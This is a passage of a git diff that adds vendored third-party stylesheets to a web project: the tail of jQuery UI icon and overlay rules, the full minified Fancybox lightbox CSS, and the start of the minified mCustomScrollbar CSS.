background-position: -48px -160px; } +.ui-icon-seek-end { background-position: -64px -160px; } +.ui-icon-seek-start { background-position: -80px -160px; } +/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ +.ui-icon-seek-first { background-position: -80px -160px; } +.ui-icon-stop { background-position: -96px -160px; } +.ui-icon-eject { background-position: -112px -160px; } +.ui-icon-volume-off { background-position: -128px -160px; } +.ui-icon-volume-on { background-position: -144px -160px; } +.ui-icon-power { background-position: 0 -176px; } +.ui-icon-signal-diag { background-position: -16px -176px; } +.ui-icon-signal { background-position: -32px -176px; } +.ui-icon-battery-0 { background-position: -48px -176px; } +.ui-icon-battery-1 { background-position: -64px -176px; } +.ui-icon-battery-2 { background-position: -80px -176px; } +.ui-icon-battery-3 { background-position: -96px -176px; } +.ui-icon-circle-plus { background-position: 0 -192px; } +.ui-icon-circle-minus { background-position: -16px -192px; } +.ui-icon-circle-close { background-position: -32px -192px; } +.ui-icon-circle-triangle-e { background-position: -48px -192px; } +.ui-icon-circle-triangle-s { background-position: -64px -192px; } +.ui-icon-circle-triangle-w { background-position: -80px -192px; } +.ui-icon-circle-triangle-n { background-position: -96px -192px; } +.ui-icon-circle-arrow-e { background-position: -112px -192px; } +.ui-icon-circle-arrow-s { background-position: -128px -192px; } +.ui-icon-circle-arrow-w { background-position: -144px -192px; } +.ui-icon-circle-arrow-n { background-position: -160px -192px; } +.ui-icon-circle-zoomin { background-position: -176px -192px; } +.ui-icon-circle-zoomout { background-position: -192px -192px; } +.ui-icon-circle-check { background-position: -208px -192px; } +.ui-icon-circlesmall-plus { background-position: 0 -208px; } +.ui-icon-circlesmall-minus { background-position: -16px -208px; } +.ui-icon-circlesmall-close { background-position: -32px -208px; } +.ui-icon-squaresmall-plus { background-position: -48px -208px; } +.ui-icon-squaresmall-minus { background-position: -64px -208px; } +.ui-icon-squaresmall-close { background-position: -80px -208px; } +.ui-icon-grip-dotted-vertical { background-position: 0 -224px; } +.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } +.ui-icon-grip-solid-vertical { background-position: -32px -224px; } +.ui-icon-grip-solid-horizontal { background-position: -48px -224px; } +.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } +.ui-icon-grip-diagonal-se { background-position: -80px -224px; } + + +/* Misc visuals +----------------------------------*/ + +/* Corner radius */ +.ui-corner-all, +.ui-corner-top, +.ui-corner-left, +.ui-corner-tl { + border-top-left-radius: 3px; +} +.ui-corner-all, +.ui-corner-top, +.ui-corner-right, +.ui-corner-tr { + border-top-right-radius: 3px; +} +.ui-corner-all, +.ui-corner-bottom, +.ui-corner-left, +.ui-corner-bl { + border-bottom-left-radius: 3px; +} +.ui-corner-all, +.ui-corner-bottom, +.ui-corner-right, +.ui-corner-br { + border-bottom-right-radius: 3px; +} + +/* Overlays */ +.ui-widget-overlay { + background: #aaaaaa; + opacity: .3; + filter: Alpha(Opacity=30); /* support: IE8 */ +} +.ui-widget-shadow { + -webkit-box-shadow: 0px 0px 5px #666666; + box-shadow: 0px 0px 5px #666666; +} diff --git a/public/css/jquery.fancybox.min.css b/public/css/jquery.fancybox.min.css new file mode 100644 index 0000000..3d25c54 --- /dev/null +++ b/public/css/jquery.fancybox.min.css @@ -0,0 +1 @@ +body.compensate-for-scrollbar{overflow:hidden}.fancybox-active{height:auto}.fancybox-iosfix{height:100%;left:0;overflow:hidden;position:fixed;width:100%}.fancybox-is-hidden{left:-9999px;margin:0;position:absolute!important;top:-9999px;visibility:hidden}.fancybox-container{-webkit-backface-visibility:hidden;backface-visibility:hidden;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,sans-serif;height:100%;left:0;position:fixed;-webkit-tap-highlight-color:transparent;top:0;-webkit-transform:translateZ(0);transform:translateZ(0);width:100%;z-index:99992}.fancybox-container *{box-sizing:border-box}.fancybox-bg,.fancybox-inner,.fancybox-outer,.fancybox-stage{bottom:0;left:0;position:absolute;right:0;top:0}.fancybox-outer{-webkit-overflow-scrolling:touch;overflow-y:auto}.fancybox-bg{background:#1e1e1e;opacity:0;transition-duration:inherit;transition-property:opacity;transition-timing-function:cubic-bezier(.47,0,.74,.71)}.fancybox-is-open .fancybox-bg{opacity:.87;transition-timing-function:cubic-bezier(.22,.61,.36,1)}.fancybox-caption,.fancybox-infobar,.fancybox-navigation .fancybox-button,.fancybox-toolbar{direction:ltr;opacity:0;position:absolute;transition:opacity .25s,visibility 0s linear .25s;visibility:hidden;z-index:99997}.fancybox-show-caption .fancybox-caption,.fancybox-show-infobar .fancybox-infobar,.fancybox-show-nav .fancybox-navigation .fancybox-button,.fancybox-show-toolbar .fancybox-toolbar{opacity:1;transition:opacity .25s,visibility 0s;visibility:visible}.fancybox-infobar{color:#ccc;font-size:13px;-webkit-font-smoothing:subpixel-antialiased;height:44px;left:0;line-height:44px;min-width:44px;mix-blend-mode:difference;padding:0 10px;pointer-events:none;text-align:center;top:0;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.fancybox-toolbar{right:0;top:0}.fancybox-stage{direction:ltr;overflow:visible;-webkit-transform:translateZ(0);z-index:99994}.fancybox-is-open .fancybox-stage{overflow:hidden}.fancybox-slide{-webkit-backface-visibility:hidden;backface-visibility:hidden;display:none;height:100%;left:0;outline:none;overflow:auto;-webkit-overflow-scrolling:touch;padding:44px;position:absolute;text-align:center;top:0;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;white-space:normal;width:100%;z-index:99994}.fancybox-slide:before{content:"";display:inline-block;height:100%;margin-right:-.25em;vertical-align:middle;width:0}.fancybox-is-sliding .fancybox-slide,.fancybox-slide--current,.fancybox-slide--next,.fancybox-slide--previous{display:block}.fancybox-slide--next{z-index:99995}.fancybox-slide--image{overflow:visible;padding:44px 0}.fancybox-slide--image:before{display:none}.fancybox-slide--html{padding:6px 6px 0}.fancybox-slide--iframe{padding:44px 44px 0}.fancybox-content{background:#fff;display:inline-block;margin:0 0 6px;max-width:100%;overflow:auto;padding:0;padding:24px;position:relative;text-align:left;vertical-align:middle}.fancybox-slide--image .fancybox-content{-webkit-animation-timing-function:cubic-bezier(.5,0,.14,1);animation-timing-function:cubic-bezier(.5,0,.14,1);-webkit-backface-visibility:hidden;backface-visibility:hidden;background:transparent;background-repeat:no-repeat;background-size:100% 100%;left:0;margin:0;max-width:none;overflow:visible;padding:0;position:absolute;top:0;-webkit-transform-origin:top left;transform-origin:top left;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;z-index:99995}.fancybox-can-zoomOut .fancybox-content{cursor:zoom-out}.fancybox-can-zoomIn .fancybox-content{cursor:zoom-in}.fancybox-can-drag .fancybox-content{cursor:-webkit-grab;cursor:grab}.fancybox-is-dragging .fancybox-content{cursor:-webkit-grabbing;cursor:grabbing}.fancybox-container [data-selectable=true]{cursor:text}.fancybox-image,.fancybox-spaceball{background:transparent;border:0;height:100%;left:0;margin:0;max-height:none;max-width:none;padding:0;position:absolute;top:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.fancybox-spaceball{z-index:1}.fancybox-slide--html .fancybox-content{margin-bottom:6px}.fancybox-slide--iframe .fancybox-content,.fancybox-slide--map .fancybox-content,.fancybox-slide--video .fancybox-content{height:100%;margin:0;overflow:visible;padding:0;width:100%}.fancybox-slide--video .fancybox-content{background:#000}.fancybox-slide--map .fancybox-content{background:#e5e3df}.fancybox-slide--iframe .fancybox-content{background:#fff;height:calc(100% - 44px);margin-bottom:44px}.fancybox-iframe,.fancybox-video{background:transparent;border:0;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.fancybox-iframe{vertical-align:top}.fancybox-error{background:#fff;cursor:default;max-width:400px;padding:40px;width:100%}.fancybox-error p{color:#444;font-size:16px;line-height:20px;margin:0;padding:0}.fancybox-button{background:rgba(30,30,30,.6);border:0;border-radius:0;cursor:pointer;display:inline-block;height:44px;margin:0;outline:none;padding:10px;transition:color .2s;vertical-align:top;width:44px}.fancybox-button,.fancybox-button:link,.fancybox-button:visited{color:#ccc}.fancybox-button:focus,.fancybox-button:hover{color:#fff}.fancybox-button.disabled,.fancybox-button.disabled:hover,.fancybox-button[disabled],.fancybox-button[disabled]:hover{color:#888;cursor:default}.fancybox-button svg{display:block;overflow:visible;position:relative;shape-rendering:geometricPrecision}.fancybox-button svg path{fill:transparent;stroke:currentColor;stroke-linejoin:round;stroke-width:3}.fancybox-button--pause svg path:nth-child(1),.fancybox-button--play svg path:nth-child(2){display:none}.fancybox-button--play svg path,.fancybox-button--share svg path,.fancybox-button--thumbs svg path{fill:currentColor}.fancybox-button--share svg path{stroke-width:1}.fancybox-navigation .fancybox-button{height:38px;opacity:0;padding:6px;position:absolute;top:50%;width:38px}.fancybox-show-nav .fancybox-navigation .fancybox-button{transition:opacity .25s,visibility 0s,color .25s}.fancybox-navigation .fancybox-button:after{content:"";left:-25px;padding:50px;position:absolute;top:-25px}.fancybox-navigation .fancybox-button--arrow_left{left:6px}.fancybox-navigation .fancybox-button--arrow_right{right:6px}.fancybox-close-small{background:transparent;border:0;border-radius:0;color:#555;cursor:pointer;height:44px;margin:0;padding:6px;position:absolute;right:0;top:0;width:44px;z-index:10}.fancybox-close-small svg{fill:transparent;opacity:.8;stroke:currentColor;stroke-width:1.5;transition:stroke .1s}.fancybox-close-small:focus{outline:none}.fancybox-close-small:hover svg{opacity:1}.fancybox-slide--iframe .fancybox-close-small,.fancybox-slide--image .fancybox-close-small,.fancybox-slide--video .fancybox-close-small{color:#ccc;padding:5px;right:-12px;top:-44px}.fancybox-slide--iframe .fancybox-close-small:hover svg,.fancybox-slide--image .fancybox-close-small:hover svg,.fancybox-slide--video .fancybox-close-small:hover svg{background:transparent;color:#fff}.fancybox-is-scaling .fancybox-close-small,.fancybox-is-zoomable.fancybox-can-drag .fancybox-close-small{display:none}.fancybox-caption{bottom:0;color:#fff;font-size:14px;font-weight:400;left:0;line-height:1.5;padding:25px 44px;right:0}.fancybox-caption:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAEtCAQAAABjBcL7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHRJREFUKM+Vk8EOgDAIQ0vj/3+xBw8qIZZueFnIKC90MCAI8DlrkHGeqqGIU6lVigrBtpCWqeRWoHDNqs0F7VNVBVxmHRlvoVqjaYkdnDIaivH2HqZ5+oZj3JUzWB+cOz4G48Bg+tsJ/tqu4dLC/4Xb+0GcF5BwBC0AA53qAAAAAElFTkSuQmCC);background-repeat:repeat-x;background-size:contain;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:-25px;z-index:-1}.fancybox-caption:after{border-bottom:1px solid hsla(0,0%,100%,.3);content:"";display:block;left:44px;position:absolute;right:44px;top:0}.fancybox-caption a,.fancybox-caption a:link,.fancybox-caption a:visited{color:#ccc;text-decoration:none}.fancybox-caption a:hover{color:#fff;text-decoration:underline}.fancybox-loading{-webkit-animation:a .8s infinite linear;animation:a .8s infinite linear;background:transparent;border:6px solid hsla(0,0%,39%,.5);border-radius:100%;border-top-color:#fff;height:60px;left:50%;margin:-30px 0 0 -30px;opacity:.6;padding:0;position:absolute;top:50%;width:60px;z-index:99999}@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fancybox-animated{transition-timing-function:cubic-bezier(0,0,.25,1)}.fancybox-fx-slide.fancybox-slide--previous{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.fancybox-fx-slide.fancybox-slide--next{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.fancybox-fx-slide.fancybox-slide--current{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}.fancybox-fx-fade.fancybox-slide--next,.fancybox-fx-fade.fancybox-slide--previous{opacity:0;transition-timing-function:cubic-bezier(.19,1,.22,1)}.fancybox-fx-fade.fancybox-slide--current{opacity:1}.fancybox-fx-zoom-in-out.fancybox-slide--previous{opacity:0;-webkit-transform:scale3d(1.5,1.5,1.5);transform:scale3d(1.5,1.5,1.5)}.fancybox-fx-zoom-in-out.fancybox-slide--next{opacity:0;-webkit-transform:scale3d(.5,.5,.5);transform:scale3d(.5,.5,.5)}.fancybox-fx-zoom-in-out.fancybox-slide--current{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}.fancybox-fx-rotate.fancybox-slide--previous{opacity:0;-webkit-transform:rotate(-1turn);transform:rotate(-1turn)}.fancybox-fx-rotate.fancybox-slide--next{opacity:0;-webkit-transform:rotate(1turn);transform:rotate(1turn)}.fancybox-fx-rotate.fancybox-slide--current{opacity:1;-webkit-transform:rotate(0deg);transform:rotate(0deg)}.fancybox-fx-circular.fancybox-slide--previous{opacity:0;-webkit-transform:scale3d(0,0,0) translate3d(-100%,0,0);transform:scale3d(0,0,0) translate3d(-100%,0,0)}.fancybox-fx-circular.fancybox-slide--next{opacity:0;-webkit-transform:scale3d(0,0,0) translate3d(100%,0,0);transform:scale3d(0,0,0) translate3d(100%,0,0)}.fancybox-fx-circular.fancybox-slide--current{opacity:1;-webkit-transform:scaleX(1) translateZ(0);transform:scaleX(1) translateZ(0)}.fancybox-fx-tube.fancybox-slide--previous{-webkit-transform:translate3d(-100%,0,0) scale(.1) skew(-10deg);transform:translate3d(-100%,0,0) scale(.1) skew(-10deg)}.fancybox-fx-tube.fancybox-slide--next{-webkit-transform:translate3d(100%,0,0) scale(.1) skew(10deg);transform:translate3d(100%,0,0) scale(.1) skew(10deg)}.fancybox-fx-tube.fancybox-slide--current{-webkit-transform:translateZ(0) scale(1);transform:translateZ(0) scale(1)}.fancybox-share{background:#f4f4f4;border-radius:3px;max-width:90%;padding:30px;text-align:center}.fancybox-share h1{color:#222;font-size:35px;font-weight:700;margin:0 0 20px}.fancybox-share p{margin:0;padding:0}.fancybox-share__button{border:0;border-radius:3px;display:inline-block;font-size:14px;font-weight:700;line-height:40px;margin:0 5px 10px;min-width:130px;padding:0 15px;text-decoration:none;transition:all .2s;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;white-space:nowrap}.fancybox-share__button:link,.fancybox-share__button:visited{color:#fff}.fancybox-share__button:hover{text-decoration:none}.fancybox-share__button--fb{background:#3b5998}.fancybox-share__button--fb:hover{background:#344e86}.fancybox-share__button--pt{background:#bd081d}.fancybox-share__button--pt:hover{background:#aa0719}.fancybox-share__button--tw{background:#1da1f2}.fancybox-share__button--tw:hover{background:#0d95e8}.fancybox-share__button svg{height:25px;margin-right:7px;position:relative;top:-1px;vertical-align:middle;width:25px}.fancybox-share__button svg path{fill:#fff}.fancybox-share__input{background:transparent;border:0;border-bottom:1px solid #d7d7d7;border-radius:0;color:#5d5b5b;font-size:14px;margin:10px 0 0;outline:none;padding:10px 15px;width:100%}.fancybox-thumbs{background:#fff;bottom:0;display:none;margin:0;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar;padding:2px 2px 4px;position:absolute;right:0;-webkit-tap-highlight-color:transparent;top:0;width:212px;z-index:99995}.fancybox-thumbs-x{overflow-x:auto;overflow-y:hidden}.fancybox-show-thumbs .fancybox-thumbs{display:block}.fancybox-show-thumbs .fancybox-inner{right:212px}.fancybox-thumbs>ul{font-size:0;height:100%;list-style:none;margin:0;overflow-x:hidden;overflow-y:auto;padding:0;position:absolute;position:relative;white-space:nowrap;width:100%}.fancybox-thumbs-x>ul{overflow:hidden}.fancybox-thumbs-y>ul::-webkit-scrollbar{width:7px}.fancybox-thumbs-y>ul::-webkit-scrollbar-track{background:#fff;border-radius:10px;box-shadow:inset 0 0 6px rgba(0,0,0,.3)}.fancybox-thumbs-y>ul::-webkit-scrollbar-thumb{background:#2a2a2a;border-radius:10px}.fancybox-thumbs>ul>li{-webkit-backface-visibility:hidden;backface-visibility:hidden;cursor:pointer;float:left;height:75px;margin:2px;max-height:calc(100% - 8px);max-width:calc(50% - 4px);outline:none;overflow:hidden;padding:0;position:relative;-webkit-tap-highlight-color:transparent;width:100px}.fancybox-thumbs-loading{background:rgba(0,0,0,.1)}.fancybox-thumbs>ul>li{background-position:50%;background-repeat:no-repeat;background-size:cover}.fancybox-thumbs>ul>li:before{border:4px solid #4ea7f9;bottom:0;content:"";left:0;opacity:0;position:absolute;right:0;top:0;transition:all .2s cubic-bezier(.25,.46,.45,.94);z-index:99991}.fancybox-thumbs .fancybox-thumbs-active:before{opacity:1}@media (max-width:800px){.fancybox-thumbs{width:110px}.fancybox-show-thumbs .fancybox-inner{right:110px}.fancybox-thumbs>ul>li{max-width:calc(100% - 10px)}} \ No newline at end of file diff --git a/public/css/jquery.mCustomScrollbar.min.css b/public/css/jquery.mCustomScrollbar.min.css new file mode 100644 index 0000000..6cd1177 --- /dev/null +++ b/public/css/jquery.mCustomScrollbar.min.css @@ -0,0 +1 @@ +.mCustomScrollbar{-ms-touch-action:pinch-zoom;touch-action:pinch-zoom}.mCustomScrollbar.mCS_no_scrollbar,.mCustomScrollbar.mCS_touch_action{-ms-touch-action:auto;touch-action:auto}.mCustomScrollBox{position:relative;overflow:hidden;height:100%;max-width:100%;outline:0;direction:ltr}.mCSB_container{overflow:hidden;width:auto;height:auto}.mCSB_inside>.mCSB_container{margin-right:30px}.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-right:0}.mCS-dir-rtl>.mCSB_inside>.mCSB_container{margin-right:0;margin-left:30px}.mCS-dir-rtl>.mCSB_inside>.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-left:0}.mCSB_scrollTools{position:absolute;width:16px;height:auto;left:auto;top:0;right:0;bottom:0;opacity:.75;filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)"}.mCSB_outside+.mCSB_scrollTools{right:-26px}.mCS-dir-rtl>.mCSB_inside>.mCSB_scrollTools,.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{right:auto;left:0}.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{left:-26px}.mCSB_scrollTools .mCSB_draggerContainer{position:absolute;top:0;left:0;bottom:0;right:0;height:auto}.mCSB_scrollTools a+.mCSB_draggerContainer{margin:20px 0}.mCSB_scrollTools .mCSB_draggerRail{width:2px;height:100%;margin:0 auto;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px}.mCSB_scrollTools .mCSB_dragger{cursor:pointer;width:100%;height:30px;z-index:1}.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{position:relative;width:4px;height:100%;margin:0 auto;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;text-align:center}.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{width:12px}.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{width:8px}.mCSB_scrollTools .mCSB_buttonDown,.mCSB_scrollTools .mCSB_buttonUp{display:block;position:absolute;height:20px;width:100%;overflow:hidden;margin:0 auto;cursor:pointer}.mCSB_scrollTools .mCSB_buttonDown{bottom:0}.mCSB_horizontal.mCSB_inside>.mCSB_container{margin-right:0;margin-bottom:30px}.mCSB_horizontal.mCSB_outside>.mCSB_container{min-height:100%}.mCSB_horizontal>.mCSB_container.mCS_no_scrollbar_x.mCS_x_hidden{margin-bottom:0}.mCSB_scrollTools.mCSB_scrollTools_horizontal{width:auto;height:16px;top:auto;right:0;bottom:0;left:0}.mCustomScrollBox+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox+.mCSB_scrollTools.mCSB_scrollTools_horizontal{bottom:-26px}.mCSB_scrollTools.mCSB_scrollTools_horizontal a+.mCSB_draggerContainer{margin:0 20px}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:2px;margin:7px 0}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger{width:30px;height:100%;left:0}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:4px;margin:6px auto}.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{height:12px;margin:2px auto}.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{height:8px;margin:4px 0}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonLeft,.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonRight{display:block;position:absolute;width:20px;height:100%;overflow:hidden;margin:0 auto;cursor:pointer}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonLeft{left:0}.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonRight{right:0}.mCSB_container_wrapper{position:absolute;height:auto;width:auto;overflow:hidden;top:0;left:0;right:0;bottom:0;margin-right:30px;margin-bottom:30px}.mCSB_container_wrapper>.mCSB_container{padding-right:30px;padding-bottom:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mCSB_vertical_horizontal>.mCSB_scrollTools.mCSB_scrollTools_vertical{bottom:20px}.mCSB_vertical_horizontal>.mCSB_scrollTools.mCSB_scrollTools_horizontal{right:20px}.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden+.mCSB_scrollTools.mCSB_scrollTools_vertical{bottom:0}.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden+.mCSB_scrollTools~.mCSB_scrollTools.mCSB_scrollTools_horizontal{right:0}.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_scrollTools.mCSB_scrollTools_horizontal{left:20px}.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden+.mCSB_scrollTools~.mCSB_scrollTools.mCSB_scrollTools_horizontal{left:0}.mCS-dir-rtl>.mCSB_inside>.mCSB_container_wrapper{margin-right:0;margin-left:30px}.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden>.mCSB_container{padding-right:0}.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden>.mCSB_container{padding-bottom:0}.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden{margin-right:0;margin-left:0}.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden{margin-bottom:0}.mCSB_scrollTools,.mCSB_scrollTools .mCSB_buttonDown,.mCSB_scrollTools .mCSB_buttonLeft,.mCSB_scrollTools .mCSB_buttonRight,.mCSB_scrollTools .mCSB_buttonUp,.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;-moz-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;-o-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerRail,.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger_bar,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerRail,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger_bar{-webkit-transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out;-moz-transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out;-o-transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out;transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out}.mCS-autoHide>.mCustomScrollBox>.mCSB_scrollTools,.mCS-autoHide>.mCustomScrollBox~.mCSB_scrollTools{opacity:0;filter:"alpha(opacity=0)";-ms-filter:"alpha(opacity=0)"}.mCS-autoHide:hover>.mCustomScrollBox>.mCSB_scrollTools,.mCS-autoHide:hover>.mCustomScrollBox~.mCSB_scrollTools,.mCustomScrollBox:hover>.mCSB_scrollTools,.mCustomScrollBox:hover~.mCSB_scrollTools,.mCustomScrollbar>.mCustomScrollBox>.mCSB_scrollTools.mCSB_scrollTools_onDrag,.mCustomScrollbar>.mCustomScrollBox~.mCSB_scrollTools.mCSB_scrollTools_onDrag{opacity:1;filter:"alpha(opacity=100)";-ms-filter:"alpha(opacity=100)"}.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.4);filter:"alpha(opacity=40)";-ms-filter:"alpha(opacity=40)"}.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.75);filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)"}.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85);filter:"alpha(opacity=85)";-ms-filter:"alpha(opacity=85)"}.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9);filter:"alpha(opacity=90)";-ms-filter:"alpha(opacity=90)"}.mCSB_scrollTools .mCSB_buttonDown,.mCSB_scrollTools .mCSB_buttonLeft,.mCSB_scrollTools .mCSB_buttonRight,.mCSB_scrollTools .mCSB_buttonUp{background-image:url(mCSB_buttons.png);background-repeat:no-repeat;opacity:.4;filter:"alpha(opacity=40)";-ms-filter:"alpha(opacity=40)"}.mCSB_scrollTools .mCSB_buttonUp{background-position:0 0}.mCSB_scrollTools .mCSB_buttonDown{background-position:0 -20px}.mCSB_scrollTools .mCSB_buttonLeft{background-position:0 -40px}.mCSB_scrollTools .mCSB_buttonRight{background-position:0 -56px}.mCSB_scrollTools .mCSB_buttonDown:hover,.mCSB_scrollTools .mCSB_buttonLeft:hover,.mCSB_scrollTools .mCSB_buttonRight:hover,.mCSB_scrollTools .mCSB_buttonUp:hover{opacity:.75;filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)"}.mCSB_scrollTools .mCSB_buttonDown:active,.mCSB_scrollTools .mCSB_buttonLeft:active,.mCSB_scrollTools .mCSB_buttonRight:active,.mCSB_scrollTools .mCSB_buttonUp:active{opacity:.9;filter:"alpha(opacity=90)";-ms-filter:"alpha(opacity=90)"}.mCS-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15)}.mCS-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75)}.mCS-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:rgba(0,0,0,.85)}.mCS-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:rgba(0,0,0,.9)}.mCS-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-80px 0}.mCS-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-80px -20px}.mCS-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-80px -40px}.mCS-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-80px -56px}.mCS-dark-2.mCSB_scrollTools .mCSB_draggerRail,.mCS-light-2.mCSB_scrollTools .mCSB_draggerRail{width:4px;background-color:#fff;background-color:rgba(255,255,255,.1);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.mCS-dark-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-2.mCSB_scrollTools .mCSB_dragger 